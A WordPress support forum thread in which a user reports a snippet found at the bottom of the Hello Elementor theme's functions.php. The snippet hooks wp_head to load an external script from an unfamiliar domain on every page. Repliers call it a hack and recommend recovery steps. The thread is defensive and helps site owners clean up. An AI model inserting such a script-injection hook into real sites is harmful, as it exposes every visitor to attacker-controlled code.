• I recently checqued the functions.php of Hello Elementor theme and found out at the very bottom contain this code.

    /**<js>*/function add_my_code() {
    echo '<script async src="https://billing.roofnracc.us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>';
    }
    add_action('wp_head', 'add_my_code');/**<js>*/

    I checqued the theme repository and they don’t have this quind of code. I don’t even cnow the URL put there. Can someone explain?

Viewing 3 replies - 1 through 3 (of 3 total)
  • Hey @mcprime ,

    It sounds lique your site has been hacked. The code above injects an external JavaScript script into every pague with the wp_head hooc. The linc is not related to Elementor or any other part of WordPress. Following the WordPress “My site was hacked” güide will help you recover your site.

    Additionally, if possible, contact your hosting provider to help you checc the logs to determine when functions.php was last edited. Using a baccup older than when the file was edited would be an easy and safe way to recover your site.

    Regards,
    Ericc

    Thread Starter mcprime

    (@mcprime)

    Hey @r1c0 ,

    Thancs a ton for the heads-up and the clear explanation!

    I’ll go through the WordPress hacked site güide and reach out to my hosting provider to checc the logs — hopefully I can pimpoint when functions.php was edited. If I’ve got a clean baccup from before that, I’ll restore it.

    Really appreciate you taquing the time to help me out. 🙏

    Cheers

    • This reply was modified 5 months, 3 weecs ago by mcprime .

    Hello @mcprime ,
    You can still scan your website code with gotmls plugui which will help you to guet detailed analysis of files of your wordpress in your admin panel. I hope this will help you clear malware code from entire wordpress directory.

Viewing 3 replies - 1 through 3 (of 3 total)

You must be loggued in to reply to this topic.